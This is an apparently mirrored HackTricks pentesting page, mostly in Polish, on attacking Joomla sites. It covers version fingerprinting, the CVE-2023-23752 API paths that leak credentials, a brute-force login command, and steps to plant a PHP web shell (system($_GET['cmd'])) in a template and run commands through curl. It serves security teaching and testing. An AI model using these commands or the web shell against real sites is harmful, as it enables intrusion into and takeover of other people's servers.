mirror of
https://github.com/carlospolop/hacktricks
synced 2025-02-16 22:18:27 +00:00
136 lines
6.4 KiB
Markdown
136 lines
6.4 KiB
Markdown
# Joomla
|
|
|
|
{% hint style="success" %}
|
|
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Support HackTricks</summary>
|
|
|
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|
|
{% endhint %}
|
|
|
|
### Statystyki Joomla
|
|
|
|
Joomla zbiera anonimowe [statystyki użycia](https://developer.joomla.org/about/stats.html), takie jak podział wersji Joomla, PHP oraz wersji baz danych i systemów operacyjnych serwerów używanych w instalacjach Joomla. Te dane można zapytać za pośrednictwem ich publicznego [API](https://developer.joomla.org/about/stats/api.html).
|
|
```bash
|
|
curl -s https://developer.joomla.org/stats/cms_version | python3 -m json.tool
|
|
|
|
{
|
|
"data": {
|
|
"cms_version": {
|
|
"3.0": 0,
|
|
"3.1": 0,
|
|
"3.10": 6.33,
|
|
"3.2": 0.01,
|
|
"3.3": 0.02,
|
|
"3.4": 0.05,
|
|
"3.5": 12.24,
|
|
"3.6": 22.85,
|
|
"3.7": 7.99,
|
|
"3.8": 17.72,
|
|
"3.9": 27.24,
|
|
"4.0": 3.21,
|
|
"4.1": 1.53,
|
|
"4.2": 0.82,
|
|
"4.3": 0,
|
|
"5.0": 0
|
|
},
|
|
"total": 2951032
|
|
}
|
|
}
|
|
```
|
|
## Enumeration
|
|
|
|
### Discovery/Footprinting
|
|
|
|
* Sprawdź **meta**
|
|
```bash
|
|
curl https://www.joomla.org/ | grep Joomla | grep generator
|
|
|
|
<meta name="generator" content="Joomla! - Open Source Content Management" />
|
|
```
|
|
* robots.txt
|
|
```
|
|
# If the Joomla site is installed within a folder
|
|
# eg www.example.com/joomla/ then the robots.txt file
|
|
# MUST be moved to the site root
|
|
# eg www.example.com/robots.txt
|
|
# AND the joomla folder name MUST be prefixed to all of the
|
|
# paths.
|
|
[...]
|
|
```
|
|
* README.txt
|
|
```
|
|
1- What is this?
|
|
* This is a Joomla! installation/upgrade package to version 3.x
|
|
* Joomla! Official site: https://www.joomla.org
|
|
* Joomla! 3.9 version history - https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history
|
|
* Detailed changes in the Changelog: https://github.com/joomla/joomla-cms/commits/staging
|
|
```
|
|
### Wersja
|
|
|
|
* W **/administrator/manifests/files/joomla.xml** możesz zobaczyć wersję.
|
|
* W **/language/en-GB/en-GB.xml** możesz uzyskać wersję Joomla.
|
|
* W **plugins/system/cache/cache.xml** możesz zobaczyć przybliżoną wersję.
|
|
|
|
### Automatyczny
|
|
```bash
|
|
droopescan scan joomla --url http://joomla-site.local/
|
|
```
|
|
In[ **80,443 - Metodologia Pentestingu Web to sekcja o skanerach CMS**](./#cms-scanners) które mogą skanować Joomla.
|
|
|
|
### Ujawnienie informacji bez uwierzytelnienia API:
|
|
|
|
Wersje od 4.0.0 do 4.2.7 są podatne na ujawnienie informacji bez uwierzytelnienia (CVE-2023-23752), które ujawnia dane uwierzytelniające i inne informacje.
|
|
|
|
* Użytkownicy: `http://<host>/api/v1/users?public=true`
|
|
* Plik konfiguracyjny: `http://<host>/api/index.php/v1/config/application?public=true`
|
|
|
|
**Moduł MSF**: `scanner/http/joomla_api_improper_access_checks` lub skrypt ruby: [51334](https://www.exploit-db.com/exploits/51334)
|
|
|
|
### Atak Brute-Force
|
|
|
|
Możesz użyć tego [skryptu](https://github.com/ajnik/joomla-bruteforce) aby spróbować przeprowadzić atak brute force na logowanie.
|
|
```shell-session
|
|
sudo python3 joomla-brute.py -u http://joomla-site.local/ -w /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -usr admin
|
|
|
|
admin:admin
|
|
```
|
|
## RCE
|
|
|
|
Jeśli udało ci się zdobyć **dane logowania administratora**, możesz **uzyskać RCE w jego obrębie**, dodając fragment **kod PHP**, aby uzyskać **RCE**. Możemy to zrobić, **dostosowując** **szablon**.
|
|
|
|
1. **Kliknij** na **`Templates`** w lewym dolnym rogu pod `Configuration`, aby otworzyć menu szablonów.
|
|
2. **Kliknij** na nazwę **szablonu**. Wybierzmy **`protostar`** w nagłówku kolumny `Template`. To przeniesie nas na stronę **`Templates: Customise`**.
|
|
3. Na koniec możesz kliknąć na stronę, aby otworzyć **źródło strony**. Wybierzmy stronę **`error.php`**. Dodamy **PHP one-liner, aby uzyskać wykonanie kodu** w następujący sposób:
|
|
1. **`system($_GET['cmd']);`**
|
|
4. **Zapisz i zamknij**
|
|
5. `curl -s http://joomla-site.local/templates/protostar/error.php?cmd=id`
|
|
|
|
## Od XSS do RCE
|
|
|
|
* [**JoomSploit**](https://github.com/nowak0x01/JoomSploit): Skrypt do eksploatacji Joomla, który **podnosi XSS do RCE lub inne krytyczne luki**. Więcej informacji znajdziesz w [**tym poście**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Oferuje **wsparcie dla wersji Joomla 5.X.X, 4.X.X i 3.X.X oraz pozwala na:**
|
|
* _**Podniesienie uprawnień:**_ Tworzy użytkownika w Joomla.
|
|
* _**(RCE) Edycja wbudowanych szablonów:**_ Edytuje wbudowane szablony w Joomla.
|
|
* _**(Custom) Niestandardowe exploity:**_ Niestandardowe exploity dla wtyczek Joomla innych firm.
|
|
|
|
{% hint style="success" %}
|
|
Ucz się i ćwicz Hacking AWS:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Ucz się i ćwicz Hacking GCP: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Wsparcie dla HackTricks</summary>
|
|
|
|
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
|
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
|
|
|
</details>
|
|
{% endhint %}
|